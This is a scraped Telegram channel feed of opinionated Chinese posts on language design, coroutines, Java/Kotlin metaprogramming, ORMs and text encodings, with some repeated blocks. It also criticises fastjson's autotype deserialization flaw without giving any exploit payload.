duangsuse::Echo
#huawei 虽然API上各方面都没啥突破(亦如ark.ts),但这个demo tutorial举例比rust,go的更有趣 可以说团队的脑子没有被八股文的驴踢 #锐评 https://t.iss.one/dsuses/5319
#java #ts https://www.zhihu.com/question/659506359/answer/3538805082?utm_id=0
看到“高级编程语言”的数据结构我就捉急呀。
类型就是表格。纵行是其变种,横列是其数据, obj :. A(x):; B(x) 手动模拟if isinstance多态性
表格可以相互混入,传参时只要有覆盖该表就能调用
若无构造器,默认定义为纯模板 fn?? ,亦可含fn?项
否则表格默认全员锁定!fn,相当于struct。 写明的fn用于扩充既有类型或seal接口
- f(x.[Int Str may2]) Col2(1 2).A
?? 'AB'Row fn
Col2(A.A B.B)
?? 'AB'may2
A(x.A); B(x.B)
这不轻松把OOP interface abstract open final enum ADT match 给讲明白了,顺便消除了“代数”数据与子类型的鸿沟,易读和扩展性全都要。本身就是小学生都能搞懂的把戏嘛,真是啰啰嗦嗦一大堆啊
什么积类型和类型,你是Prolog? 给你俩Byte你能穷举出256**2个值,那才叫 prod type! 然而自称支持这些的,你的 patten match 等号两边能反过来写吗?
moonbit和仓颉,主流语言的那些小九九一个也没落下。 您是为计算机系开心写代码,还是为使用者开心而写?
再比如Go的 struct mixin。OOP的inner class本意也是一样,可惜被执行坏了,结果反而不如FP的tuple拼接
其实哪有什么构造器呢?拿函数签名生成的新类型吧。不过就是你们在模仿gpt该做的烂活,或者请IDE“代码生成”。。明明语言从语法API就必须解决掉的东西
如果从更大的复用性来看“class”,90% 的情况都是把重复的args打包起来,避免传一大堆参、允许部分修改,比如那寥寥无几的 open fun,“函数值参数”
因此py即便不爱用class也不瓶颈到工程的规模、Go早期干脆不做泛型。捆绑几个参数嘛,dict更好做
至于协程(N:M线程),await和yield(then vs next)其实是一个东西,但前者更合理,因为它只是把回调交出去,然后自己return
yield看似符合直觉,但缺少了重要的东西,例如buffer N项一页yield 大家都不支持。我们真的缺语言级iter吗?
spawn{}隐藏了调度级的“异步”,线程随便开,这很好
cj的过程宏,目前 import std.ast.* 后可以parse FuncDecl 啥的,也有quote()内插,还算比rust易用
我们程序员的奇技淫巧很超前,我们的软件工艺落后太远。
btw. 官方文档注 https://zhuanlan.zhihu.com/p/704858976?utm_id=0
https://www.zhihu.com/question/523049017/answer/3537896490?utm_id=0
看到“高级编程语言”的数据结构我就捉急呀。
类型就是表格。纵行是其变种,横列是其数据, obj :. A(x):; B(x) 手动模拟if isinstance多态性
表格可以相互混入,传参时只要有覆盖该表就能调用
若无构造器,默认定义为纯模板 fn?? ,亦可含fn?项
否则表格默认全员锁定!fn,相当于struct。 写明的fn用于扩充既有类型或seal接口
- f(x.[Int Str may2]) Col2(1 2).A
?? 'AB'Row fn
Col2(A.A B.B)
?? 'AB'may2
A(x.A); B(x.B)
这不轻松把OOP interface abstract open final enum ADT match 给讲明白了,顺便消除了“代数”数据与子类型的鸿沟,易读和扩展性全都要。本身就是小学生都能搞懂的把戏嘛,真是啰啰嗦嗦一大堆啊
什么积类型和类型,你是Prolog? 给你俩Byte你能穷举出256**2个值,那才叫 prod type! 然而自称支持这些的,你的 patten match 等号两边能反过来写吗?
moonbit和仓颉,主流语言的那些小九九一个也没落下。 您是为计算机系开心写代码,还是为使用者开心而写?
再比如Go的 struct mixin。OOP的inner class本意也是一样,可惜被执行坏了,结果反而不如FP的tuple拼接
其实哪有什么构造器呢?拿函数签名生成的新类型吧。不过就是你们在模仿gpt该做的烂活,或者请IDE“代码生成”。。明明语言从语法API就必须解决掉的东西
如果从更大的复用性来看“class”,90% 的情况都是把重复的args打包起来,避免传一大堆参、允许部分修改,比如那寥寥无几的 open fun,“函数值参数”
因此py即便不爱用class也不瓶颈到工程的规模、Go早期干脆不做泛型。捆绑几个参数嘛,dict更好做
至于协程(N:M线程),await和yield(then vs next)其实是一个东西,但前者更合理,因为它只是把回调交出去,然后自己return
yield看似符合直觉,但缺少了重要的东西,例如buffer N项一页yield 大家都不支持。我们真的缺语言级iter吗?
spawn{}隐藏了调度级的“异步”,线程随便开,这很好
cj的过程宏,目前 import std.ast.* 后可以parse FuncDecl 啥的,也有quote()内插,还算比rust易用
我们程序员的奇技淫巧很超前,我们的软件工艺落后太远。
btw. 官方文档注 https://zhuanlan.zhihu.com/p/704858976?utm_id=0
https://www.zhihu.com/question/523049017/answer/3537896490?utm_id=0
#learn #kt Benny霍评论区
协程 async。自动传回调、var都打包到其class因为,比如传给sleep()后自己要return。协程对象就比()->闭包多留个switch(nthStmt){}
把sleep()外提为赋值语句,以保留和恢复调用栈而已,linux单核调度多线程,甚至你调用IO时为了鉴权,也会这么干。 cat|head 不就会await您的键盘吗? read()就会suspend 1个C语言的“有栈”协程。
之所以要async,只是想节省pthread_create,因为你要拿mainloop去poll(定期/卡http的轮询) 触摸屏事件,设备资源是独占的。这和内核驱动(/dev/WebUSB) 才能导致死机蓝屏是一个道理
如果系统,比如Web APIs吧,只提供回调而禁止while(1),哪怕只支持epoll(查看监听)/select(poll多项),就根本不存在线程一词 -就像C里你并不知道read()本质上await在pipe前“生成器”的write()
--也有人叫它yield,那是因为我们不能靠return写入“文件变量”、不能重赋值函数参数以返回多个值.. 为此jspy还发明了“async*()=>生成器”..
完美复刻UI层State(val).onvar[]的轮子呢!可惜是难用难复用的阉割版。
VSCode只加两个js线程,就能运行得很稳,这难道不是App设计的常态吗?难道那些小程序比code更“架构”?
至于免锁或基于资源.transferTo()的多线程,WebGL/numpy/MapReduce(ForkJoin) 不需要重造OS 1Dispatcher:N Continuation(该叫class CPU: ()->isFinished吧)的轮子配什么池化,就能实现前后端们无法想象的性能提升。
ES5的 yield cont=>setTimeout(cont,1s) ,由awaiter链接timeout和g.next,已经是免编译协程API的巅峰了,Promise.then 只是省得你传cont回调。 当然,timeout也可能返回cont=> 所以then要能接受async()
另:JS是视 fetch(u,{abort:Signal}) 取消任务的,我不认为app里会需要一堆 coroScope{} 这样图文不符的结构。kt在UIUX界敢能和H5相比么?为什么语言多项功能,app的功能却少的可怜!
kt的结构化并发不比Go的WaitGroup(semaphore)有用,但新词一大堆,初心全忘了,开始比java还八股了。真可笑,屠龙者终成恶龙
那些比Promise更繁琐的,是毫无语意的知识,迟早被py AI自动完成。看来科学界也不喜欢代码圈整这些无聊的class
就问 https://python-future.org/ 2to3这么聪明又简洁的lib,java人们啥时候能学会?态度问题,不是智商低 #statement
协程线程进程,都是Job
jobs的管理上,除了^Z SIGHUP再 fg bg 恢复,内核还支持swap(整个系统的)内存页到SSD,甚至用CRIU直接把进程快照为文件。 这样的快照不仅能多拍,还可通过网络传输,简直易如截屏,又像 Termux.dev / Waydro.id / webvm.io 那样神奇;然而这样超越运行期的“时间魔法”,90%的编译器根本做不到,只能用reflect或asm模板这样的残次品搪塞;同理90%的语言里“函数值”都没有相等性--所谓闭包“值捕获”却并不能自动内联JSON,所谓RPC,protobuf还不如微软的COM,pwsh.NET普适
#os 在这一点上可比 #plt 的孤岛、围城,先进太多了
https://t.iss.one/dsuse/19341
https://kotlinlang.org/docs/coroutines-overview.html
https://github.com/youngyangyang04/TechCPP/blob/master/problems/为什么用户态和内核态的相互切换过程开销比较大.md
https://cht.sh/podman
https://t.bilibili.com/948850441406382096
协程 async。自动传回调、var都打包到其class因为,比如传给sleep()后自己要return。协程对象就比()->闭包多留个switch(nthStmt){}
把sleep()外提为赋值语句,以保留和恢复调用栈而已,linux单核调度多线程,甚至你调用IO时为了鉴权,也会这么干。 cat|head 不就会await您的键盘吗? read()就会suspend 1个C语言的“有栈”协程。
之所以要async,只是想节省pthread_create,因为你要拿mainloop去poll(定期/卡http的轮询) 触摸屏事件,设备资源是独占的。这和内核驱动(/dev/WebUSB) 才能导致死机蓝屏是一个道理
如果系统,比如Web APIs吧,只提供回调而禁止while(1),哪怕只支持epoll(查看监听)/select(poll多项),就根本不存在线程一词 -就像C里你并不知道read()本质上await在pipe前“生成器”的write()
--也有人叫它yield,那是因为我们不能靠return写入“文件变量”、不能重赋值函数参数以返回多个值.. 为此jspy还发明了“async*()=>生成器”..
完美复刻UI层State(val).onvar[]的轮子呢!可惜是难用难复用的阉割版。
VSCode只加两个js线程,就能运行得很稳,这难道不是App设计的常态吗?难道那些小程序比code更“架构”?
至于免锁或基于资源.transferTo()的多线程,WebGL/numpy/MapReduce(ForkJoin) 不需要重造OS 1Dispatcher:N Continuation(该叫class CPU: ()->isFinished吧)的轮子配什么池化,就能实现前后端们无法想象的性能提升。
ES5的 yield cont=>setTimeout(cont,1s) ,由awaiter链接timeout和g.next,已经是免编译协程API的巅峰了,Promise.then 只是省得你传cont回调。 当然,timeout也可能返回cont=> 所以then要能接受async()
另:JS是视 fetch(u,{abort:Signal}) 取消任务的,我不认为app里会需要一堆 coroScope{} 这样图文不符的结构。kt在UIUX界敢能和H5相比么?为什么语言多项功能,app的功能却少的可怜!
kt的结构化并发不比Go的WaitGroup(semaphore)有用,但新词一大堆,初心全忘了,开始比java还八股了。真可笑,屠龙者终成恶龙
那些比Promise更繁琐的,是毫无语意的知识,迟早被py AI自动完成。看来科学界也不喜欢代码圈整这些无聊的class
就问 https://python-future.org/ 2to3这么聪明又简洁的lib,java人们啥时候能学会?态度问题,不是智商低 #statement
协程线程进程,都是Job
jobs的管理上,除了^Z SIGHUP再 fg bg 恢复,内核还支持swap(整个系统的)内存页到SSD,甚至用CRIU直接把进程快照为文件。 这样的快照不仅能多拍,还可通过网络传输,简直易如截屏,又像 Termux.dev / Waydro.id / webvm.io 那样神奇;然而这样超越运行期的“时间魔法”,90%的编译器根本做不到,只能用reflect或asm模板这样的残次品搪塞;同理90%的语言里“函数值”都没有相等性--所谓闭包“值捕获”却并不能自动内联JSON,所谓RPC,protobuf还不如微软的COM,pwsh.NET普适
#os 在这一点上可比 #plt 的孤岛、围城,先进太多了
https://t.iss.one/dsuse/19341
https://kotlinlang.org/docs/coroutines-overview.html
https://github.com/youngyangyang04/TechCPP/blob/master/problems/为什么用户态和内核态的相互切换过程开销比较大.md
https://cht.sh/podman
podman run -dt -name cnt busybox /bin/sh -c 'i=0; while true; do echo $i; i=$((i + 1)); sleep 1; done'
podman container checkpoint cnt
podman container restore cnt
https://t.bilibili.com/948850441406382096
Telegram
duangsuse::Echo
#java #code serde codegen
用jshell API 实现了一个ini序列化,大概比直接靠javac 简单
>以下代码实现了 dumps(Pair::class) (Pair(0,0), mutableMapOf("first" to 3))
fun dumps(T:KClass<*>, ld:T=JS("(void)(${T} o, java.util.Map<String,Object> m){"+
t.iss.onemberProperties.joinToString(""){"…
用jshell API 实现了一个ini序列化,大概比直接靠javac 简单
>以下代码实现了 dumps(Pair::class) (Pair(0,0), mutableMapOf("first" to 3))
fun dumps(T:KClass<*>, ld:T=JS("(void)(${T} o, java.util.Map<String,Object> m){"+
t.iss.onemberProperties.joinToString(""){"…
#reveng #java #net
>一眼盯疹,11年前的这编译器还不如EDSL,不就相当于加个auto x=mat2x2() ,这算什么简化gl
至少我手上需要读取fn.kwarg ,要提取({k=1})=>的默认,你说该不该留源码
jvm/clr那种栈机,高级版gnu dc, 一个jadx/dnspy就还原了,不il2cpp不混淆掉命名,怎么都没必要
py还默认发布pyc呢
duangsuse:
对了,说起来jvm->clr应该可以转化吧,这样就能用对方的反编译器
https://github.com/ikvmnet/ikvm/blob/main/README.md
- Convert bytecode to a .NET assembly to directly access its API in a .NET project
上位虚拟机当然能兼容执行jar了
dnSpy(wine) v6.final Install-Package IKVM
一共200m https://github.com/dnSpy/dnSpy/releases
https://github.com/ikvmnet/ikvm/releases/download/8.8.1/IKVM-8.8.1-image-net8.0-linux-x64.zip
可以配合调试 unity games https://github.com/K0lb3/UnityPy?tab=readme-ov-file#mesh
>一眼盯疹,11年前的这编译器还不如EDSL,不就相当于加个auto x=mat2x2() ,这算什么简化gl
至少我手上需要读取fn.kwarg ,要提取({k=1})=>的默认,你说该不该留源码
jvm/clr那种栈机,高级版gnu dc, 一个jadx/dnspy就还原了,不il2cpp不混淆掉命名,怎么都没必要
py还默认发布pyc呢
duangsuse:
对了,说起来jvm->clr应该可以转化吧,这样就能用对方的反编译器
https://github.com/ikvmnet/ikvm/blob/main/README.md
- Convert bytecode to a .NET assembly to directly access its API in a .NET project
上位虚拟机当然能兼容执行jar了
dnSpy(wine) v6.final Install-Package IKVM
一共200m https://github.com/dnSpy/dnSpy/releases
https://github.com/ikvmnet/ikvm/releases/download/8.8.1/IKVM-8.8.1-image-net8.0-linux-x64.zip
可以配合调试 unity games https://github.com/K0lb3/UnityPy?tab=readme-ov-file#mesh
GitHub
ikvm/README.md at main · ikvmnet/ikvm
A Java Virtual Machine and Bytecode-to-IL Converter for .NET - ikvmnet/ikvm
#java #news #algorithm https://www.ithome.com.tw/news/163820
当我听说这个月Gosling退休时,其实我挺开心的,因为java API在我看来普及了不少无语意的知识,为八股文爱好者提供了极大方便,可以说是糟粕
这样给程序员带来麻烦的老灯,退休当然是好事,让他们的OOP繁衍下去是浪费人类的逻辑
但另一方面,这并不是JDK本身或 Doug Lea 等工程师的问题。与C++相比,java并不难。除了简化发布流程,还自带电池,提供了许多xml这类最终被滥用的工具
尽管在数据结构/IO上灵活性低,以及导致了十亿美元bug(nullish),java API并没有做错什么.
错就错在跨领域研究编程范式的人太少,以至于过去20年里没有新模型,Rust go 这些还是在拿interface 模仿OOP,没有一种把 json struct enum union override,FP 混合起来的通用编程方法
当我听说这个月Gosling退休时,其实我挺开心的,因为java API在我看来普及了不少无语意的知识,为八股文爱好者提供了极大方便,可以说是糟粕
这样给程序员带来麻烦的老灯,退休当然是好事,让他们的OOP繁衍下去是浪费人类的逻辑
但另一方面,这并不是JDK本身或 Doug Lea 等工程师的问题。与C++相比,java并不难。除了简化发布流程,还自带电池,提供了许多xml这类最终被滥用的工具
尽管在数据结构/IO上灵活性低,以及导致了十亿美元bug(nullish),java API并没有做错什么.
错就错在跨领域研究编程范式的人太少,以至于过去20年里没有新模型,Rust go 这些还是在拿interface 模仿OOP,没有一种把 json struct enum union override,FP 混合起来的通用编程方法
iThome
Java之父James Gosling宣布退休
被稱為Java之父的James Gosling宣布辭去AWS傑出工程師職務,現年69歲的Gosling選擇退而不休,日後仍將參與他有興趣的專案
duangsuse::Echo
duangsuse: #kt #book 元编程 https://www.bilibili.com/video/BV1XH4y1w7mT https://drive.bennyhuo.com/zh-CN/talks/2018.11.17-%E4%BC%98%E9%9B%85%E5%9C%B0%E4%BD%BF%E7%94%A8%E6%95%B0%E6%8D%AE%E7%B1%BB%E5%9E%8B_final.pdf https://weread.qq.com/web/reader/f7632a00…
#java #plt Science Yuan:
静态和动态的元编程是完全不同的
duangsuse:
并不是,只是类型信息在不在javac -cp 里而已。 如果在,例如for(const getMethods..) 生成/加载元组是可行的
你说的「完全不一样」,无非是jdk区分了 lang.reflect vs APT lang.model,后者能访问的信息更少,至少不能对某个参数getset() ,更不能获取返回值,因为 @Marker()很难写在语句级,更不能作为表达式
但编译和eval()并不存在所谓的鸿沟,就连未知变量,例如 int[] a 吧,从里面生成静态slice(用于vararg强转&传参?),或者解构赋值,也只是loop unroll(见Zig)而已
无非是编译器弱智到只能检查类型解析个方法签名, a[i] 就只能生成 aload ,不能把i的值粘贴进去(二段求值), {x,y}就只能是anew,不能作为编译期的list生成 x=a[0]; y=..
--基本这只需要往str内联常量,也就是说 (unquote x[i] {i:1})
甚至x不知道,i:1编译期也算不出,unquote=eval 就能完美容错!
apt和XXpoet的弱智显然是不可理喻的,因为解释器、解析器更好实现 https://t.iss.one/kotlin_cn/105813
py不像js,它还是强检查的,js里甚至没有dataclass一说 一切皆字典
但这也有些坏处,就是元编程有些开销不完全与手写相等,这点我的 https://github.com/duangsuse-valid-projects/tkgui 通过缓存化eval很好解决了
这进一步说明,过程宏绝对不是rust! 那样的魔法,整个安卓所需的一切仅仅是 for(const x: T.vars) 的apt而已
lang.reflect 和Proxy都会在运行时生成字节码,更别说lang.invoke了,它会被查找并替换为具体的invoke字节码(例如被动态编译的 LambdaMetafactory(this,"methSig").invoke 方法)
这也是为什么Android重新实现了它们,要不然就要携带一个dx.jar作为类加载器动态翻译
静态和动态的元编程是完全不同的
duangsuse:
并不是,只是类型信息在不在javac -cp 里而已。 如果在,例如for(const getMethods..) 生成/加载元组是可行的
你说的「完全不一样」,无非是jdk区分了 lang.reflect vs APT lang.model,后者能访问的信息更少,至少不能对某个参数getset() ,更不能获取返回值,因为 @Marker()很难写在语句级,更不能作为表达式
但编译和eval()并不存在所谓的鸿沟,就连未知变量,例如 int[] a 吧,从里面生成静态slice(用于vararg强转&传参?),或者解构赋值,也只是loop unroll(见Zig)而已
无非是编译器弱智到只能检查类型解析个方法签名, a[i] 就只能生成 aload ,不能把i的值粘贴进去(二段求值), {x,y}就只能是anew,不能作为编译期的list生成 x=a[0]; y=..
--基本这只需要往str内联常量,也就是说 (unquote x[i] {i:1})
甚至x不知道,i:1编译期也算不出,unquote=eval 就能完美容错!
apt和XXpoet的弱智显然是不可理喻的,因为解释器、解析器更好实现 https://t.iss.one/kotlin_cn/105813
py不像js,它还是强检查的,js里甚至没有dataclass一说 一切皆字典
但这也有些坏处,就是元编程有些开销不完全与手写相等,这点我的 https://github.com/duangsuse-valid-projects/tkgui 通过缓存化eval很好解决了
这进一步说明,过程宏绝对不是rust! 那样的魔法,整个安卓所需的一切仅仅是 for(const x: T.vars) 的apt而已
lang.reflect 和Proxy都会在运行时生成字节码,更别说lang.invoke了,它会被查找并替换为具体的invoke字节码(例如被动态编译的 LambdaMetafactory(this,"methSig").invoke 方法)
这也是为什么Android重新实现了它们,要不然就要携带一个dx.jar作为类加载器动态翻译
Telegram
duangsuse in Kotlin CN
你是说data class.copy() 方法签名不兼容的问题
还是想AOT化 callWithDefaults
想起来了,是 undefined=默认参数, ksp的问题上面是这样 https://t.iss.one/kotlin_cn/104488
目前没人看
jspy可以用kwarg解构实现
还是想AOT化 callWithDefaults
想起来了,是 undefined=默认参数, ksp的问题上面是这样 https://t.iss.one/kotlin_cn/104488
目前没人看
jspy可以用kwarg解构实现
Forwarded from dnaugsuz
#java oop 面试题 https://www.bennyhuo.com/2023/08/29/new-book-metaprogramming/#more
哈哈😄,这个好玩
1.(final T)在Gradle里是开发规范,但和final var一样对性能无影响 凑字数
final class是常用法,有些人在使用了虚方法(=构造期传函数)时会对其他项打final,幸好kt里是非open var即封闭、不可变
2final的类名上变量支持常量折叠如 if(DEBUG)
3 JVM.utf16文本相当于动态创建的enum,也就是低速拼接换高速equals,它的值不可替换,就像List.of().add()在运行时不可变,因此final不像rust,管不着Object函数内的重赋值
4lang.reflect.Field,Unsafe,Xposed可以
5直接共享,避免转移所有权
6可以装箱到堆上,例如AtomicInt,这样就能被非局部赋值了。 但更应该使用inline fun
py里 for 0~9: timer(it, lambda: say it) 只打印9,是它必须手写的原因
哈哈😄,这个好玩
1.(final T)在Gradle里是开发规范,但和final var一样对性能无影响 凑字数
final class是常用法,有些人在使用了虚方法(=构造期传函数)时会对其他项打final,幸好kt里是非open var即封闭、不可变
2final的类名上变量支持常量折叠如 if(DEBUG)
3 JVM.utf16文本相当于动态创建的enum,也就是低速拼接换高速equals,它的值不可替换,就像List.of().add()在运行时不可变,因此final不像rust,管不着Object函数内的重赋值
4lang.reflect.Field,Unsafe,Xposed可以
5直接共享,避免转移所有权
6可以装箱到堆上,例如AtomicInt,这样就能被非局部赋值了。 但更应该使用inline fun
py里 for 0~9: timer(it, lambda: say it) 只打印9,是它必须手写的原因
dnaugsuz
#java oop 面试题 https://www.bennyhuo.com/2023/08/29/new-book-metaprogramming/#more 哈哈😄,这个好玩 1.(final T)在Gradle里是开发规范,但和final var一样对性能无影响 凑字数 final class是常用法,有些人在使用了虚方法(=构造期传函数)时会对其他项打final,幸好kt里是非open var即封闭、不可变 2final的类名上变量支持常量折叠如 if(DEBUG) 3 JVM.utf16文本…
duangsuse:
nonlocal x=的那条? 总比在C++里到处[]() 或move||要好
大家都不知道闭包捕获引用这些,这首先就要把那些XXer 的SAM类变成函数,然后才有非局部赋值问题
java虽然总八股值和引用,但大家总是不重赋值或深拷贝
我举那个py的例子算是好的,因为py这个畜生是直接把局部创建的cell()给捕获了。。
for a[0] in range 是有效的,许多人搞不明白
duangsuse:
orm就是把class 带上where sort 绑定到sql TABLE
基本上还应该带pager
Spring负责把http路径转到类路径,绑定个函数签名
理论上,pgsql 应该直接回应http请求的😂
90%的代码不过是做鉴权这样的中间件AOP
这一切,都是从PHP和XMLHttpRequest开始
唉,万能http
所以说AOP啊,pre post一加
你看有多少不是纯CRUD
不少小公司和C#的都是直接调用sql函数,不用后端
结果最后还是让程序员充当aigc了是吧。。
那些代码看一眼都算码农啊。。
怎么能容忍90%都是跨端复制的逻辑呢?
你不写,他们也会以合规为由要求写
jpa难道不能和sql模板打配合?
graphql.io 好,百度也有个json ql叫啥 https://baidu.github.io/amis/zh-CN/components/crud?page=1
凑字数能力很强
#sql 可垃圾着呢,我还写过生成sql的查询语言 https://t.iss.one/dsuse/17740
读着自然?都是骗人的, SQsu 都比它更“人类”
select id from 狗 where (月龄>6 and 高>40);
aka 取狗(月龄>6 and 高>40)
正宗的关系式写法是:
狗(id,高,月龄), 月龄>6, 高>40
区区filterSort的模板不值得从ORM,CMS,低代码 这些里面分出个后端开发来
http路径就是类路径,类结构就是方便转码和校验sql数据
绝大部分的app并不需要后端框架,只要pg支持http风格的sql语句和json化,加个鉴权分页什么的。
如果不是pg存储过程的语法垃圾没类库,它就登顶了
#haha #bilibili
pg的存储函数没有类库,也不好 json io, java 才充当了这个协议转换垫片
因此许多SaaS对象存储都是NoSQL的,因为这种RPC架构冗余代码太多🌚
然而在EE程序员逆天才的智锐随变下,无论是生成xml或暴露路由表对象的服务器,绑定函数的方法都非常冗余, demo的匮乏程度更是让人叹为观止
甚至连五星逼格的rust都不禁这样评价:
它们好像连classpath就是URL模板的这回事都搞不清楚,方法签名绑定也做不好,还@什么原神数据来codegen😋
很牛逼吗?fastapi,django, 正常语言到处都在用,放javakt就是高手了,这是🐮逼还是装嫩?
完全无法理解MyBatis为什么比jpa流行,还煞有介事的搞面试题
一个 sql``${} 调用模板罢了
一个被专门做来AI生成的语言,那肯定是垃圾
甚至,ORM都是一种浪费,因为70%的字段根本不会被访问,只是复制到数据库,又复制回js或php式模板侧
连最基本的程数同构都没学过,compose 后才开始搞DSL,更谈何避免Header绑定和分页参数的重复、PUT DELETED POST三方法的多态融合,更别说理解http调用与sql、与bash命令行的同质了。
人家import fire可是0代码就能提供命令行,甚至colab UI。
java元编程能吗?逆天 才EE程序员没那个心智模型!🌝
nonlocal x=的那条? 总比在C++里到处[]() 或move||要好
大家都不知道闭包捕获引用这些,这首先就要把那些XXer 的SAM类变成函数,然后才有非局部赋值问题
java虽然总八股值和引用,但大家总是不重赋值或深拷贝
我举那个py的例子算是好的,因为py这个畜生是直接把局部创建的cell()给捕获了。。
for a[0] in range 是有效的,许多人搞不明白
duangsuse:
orm就是把class 带上where sort 绑定到sql TABLE
基本上还应该带pager
Spring负责把http路径转到类路径,绑定个函数签名
理论上,pgsql 应该直接回应http请求的😂
90%的代码不过是做鉴权这样的中间件AOP
这一切,都是从PHP和XMLHttpRequest开始
唉,万能http
所以说AOP啊,pre post一加
你看有多少不是纯CRUD
不少小公司和C#的都是直接调用sql函数,不用后端
结果最后还是让程序员充当aigc了是吧。。
那些代码看一眼都算码农啊。。
怎么能容忍90%都是跨端复制的逻辑呢?
你不写,他们也会以合规为由要求写
jpa难道不能和sql模板打配合?
graphql.io 好,百度也有个json ql叫啥 https://baidu.github.io/amis/zh-CN/components/crud?page=1
凑字数能力很强
#sql 可垃圾着呢,我还写过生成sql的查询语言 https://t.iss.one/dsuse/17740
读着自然?都是骗人的, SQsu 都比它更“人类”
select id from 狗 where (月龄>6 and 高>40);
aka 取狗(月龄>6 and 高>40)
正宗的关系式写法是:
狗(id,高,月龄), 月龄>6, 高>40
区区filterSort的模板不值得从ORM,CMS,低代码 这些里面分出个后端开发来
http路径就是类路径,类结构就是方便转码和校验sql数据
绝大部分的app并不需要后端框架,只要pg支持http风格的sql语句和json化,加个鉴权分页什么的。
如果不是pg存储过程的语法垃圾没类库,它就登顶了
#haha #bilibili
pg的存储函数没有类库,也不好 json io, java 才充当了这个协议转换垫片
因此许多SaaS对象存储都是NoSQL的,因为这种RPC架构冗余代码太多🌚
然而在EE程序员逆天才的智锐随变下,无论是生成xml或暴露路由表对象的服务器,绑定函数的方法都非常冗余, demo的匮乏程度更是让人叹为观止
甚至连五星逼格的rust都不禁这样评价:
它们好像连classpath就是URL模板的这回事都搞不清楚,方法签名绑定也做不好,还@什么原神数据来codegen😋
很牛逼吗?fastapi,django, 正常语言到处都在用,放javakt就是高手了,这是🐮逼还是装嫩?
完全无法理解MyBatis为什么比jpa流行,还煞有介事的搞面试题
一个 sql``${} 调用模板罢了
一个被专门做来AI生成的语言,那肯定是垃圾
甚至,ORM都是一种浪费,因为70%的字段根本不会被访问,只是复制到数据库,又复制回js或php式模板侧
连最基本的程数同构都没学过,compose 后才开始搞DSL,更谈何避免Header绑定和分页参数的重复、PUT DELETED POST三方法的多态融合,更别说理解http调用与sql、与bash命令行的同质了。
人家import fire可是0代码就能提供命令行,甚至colab UI。
java元编程能吗?逆天 才EE程序员没那个心智模型!🌝
Telegram
duangsuse::Echo
#plt #sql #java 嗯 我前两个月有几天做了一个中文的SQL,并不是机翻,这几周可能会重置给到代码生成和DBA UI的功能,大家可以来学学SQL的写法:
https://duangsuse.github.io/tv/%E9%BB%91%E4%BA%86/db.htm
https://duangsuse.github.io/tv/%E9%BB%91%E4%BA%86/db.htm
#os 为什么 #js #java 选择了 UTF-16 (emoji 占2 codePoint)作为默认编码?
答:UTF-8 codec 要处理的情况大两百行
https://www.fxzhihu.com/question/652839772/answer/3472123259
- UNIX ASCII-7bit 现在一般被扩展为 Latin-1 (EASCII, 8bit), 均可包含 base64 z85
- utf8的兼容ascii只是伪兼容,例如strstr("abc","a")。很多情况utf8根本不能用ascii api? 不。 UTF-8 保证了同一码元,不同字节二进制前缀不同,不会混淆。
- UTF-16比int32(unicode scalar)有啥问题?比如国旗都是用两个 code point 表示的,存储成整数要 8 字节;有些 emoji 还是一个 ZWJ 序列(grapheme clusters), Family 就是七个 code point
答:UTF-8 codec 要处理的情况大两百行
https://www.fxzhihu.com/question/652839772/answer/3472123259
- UNIX ASCII-7bit 现在一般被扩展为 Latin-1 (EASCII, 8bit), 均可包含 base64 z85
- utf8的兼容ascii只是伪兼容,例如strstr("abc","a")。很多情况utf8根本不能用ascii api? 不。 UTF-8 保证了同一码元,不同字节二进制前缀不同,不会混淆。
- UTF-16比int32(unicode scalar)有啥问题?比如国旗都是用两个 code point 表示的,存储成整数要 8 字节;有些 emoji 还是一个 ZWJ 序列(grapheme clusters), Family 就是七个 code point
FxZhihu / Fixup Zhihu
UTF-16为啥取代不了UTF-8? - @Glavo | FxZhihu
之前我也回答过类似的问题,但看到一些人对 UTF-16 有点魔怔了的态度,现在我在这个问题下重说一遍。 因为 UTF-16 更适合在内存中处理字符串,而 UTF-8 更适合传输和存储,以及 UTF-8 与 ASCII 二进制级的兼容带来了一些应用场景,所以他俩并不存在替代关系,都有自己的存在意义。 这个问题下的很多回答我难以苟同。以前我也觉得 UTF-16 缺点很多,但在理解越来越深入之后,我理解了 UTF-16 是一个优秀的折中方案。 我们列举一下…
#china #sql #java #security #recommend
省流: fastjson 作者实现了前端都不能的
它比JSer在类型检查上更 👈🤡
fastjson 窝槽, Ali 的架构师设计也真是逆天啊!! 2020的分析,今天才看到,狗屎程度堪比 antd 事件
Jackson 真是多亏同行衬托 😅 温高铁还煞有介事在下面装无辜, 晒自己咋优化 Latin-1(8bit)+UTF8 转wchar(16b) 比赢JDK
这里有个问题, IFruit 其实是
那 IFruit 凭啥能在无 backing field 的情况下被databind出来?new java.lang.reflect.Proxy ……😂 var by mapOf(); 没错,他搞笑呢,从性能和structure对应性上这都是fatal
那咋实现 OOP=封装+多态继承 呢? 通过严格定义的 sealed/enum ADT{} ?通过XML?都不是,他懂, Auto "@type"...
脚本引擎都弄出来了呀…… 这画风和js的JSON迥异,生硬如同 new WTF({kwarg:..})
于是计算器就出来了
第一次知道这么脑洞打开的 workaround ,是把 List<*> =Any 泛型擦除当真理了吗, 真当子类多态就是一切皆Object 一切有@type呢, 其实那就是 enum { A(int) B(str) } 的特例而已!👈🤣
最搞的是JDK和这家伙一样喜欢玩魔法,开 1.2.25 blacklist 后
因为直到 1.2.47 ,他都用类似 breakwa11 的黑名单「闭源」来防,拉黑算法还有bug…… 恕我直言,common sense 缺到有点好笑。 还@type呢, {"": "Apple"} 都是合法json,这不得快得废弃来?
(子类多态,var_a:T=b as T1 合法, Fn1<in T,out R> 就可以兼容赋值?super T ,override同理,这才叫懂八股..)
和log4j一样级别的。有时候我都好奇,在一个a[i]的 i±1 都绝对报错的代码世界,在try{return} 都会跳到finally{close..}的事务性严谨圈子里,在 sudo kill -9 随意但弱密码和Thread.stop不允许的稳健文化下,SQLi这种让WAF替你修的语意性混淆咋被容忍的。 弄得好像骇客们RCE进封闭系统如探囊取物,硬件主权全无效似的。
——
compile('select {}+1') (232) 是怎么能和 eval(f'{232}+1') 混为一谈的,代码和常量就这么拼接了?一个扁平一个嵌套分不清吗? 我 模仿JS元编程20行 INI.dumps() 都未曾设想的逆天类型观 ,这就像幻想「富文本」里会有 <script>、fetch() 会带站内cookie执行任意 curl 能做的事,真拿人html/DOM就瞎用,丢的岂止隐私?
唉,草台班子。 「你就说弹calc.exe快不快吧」
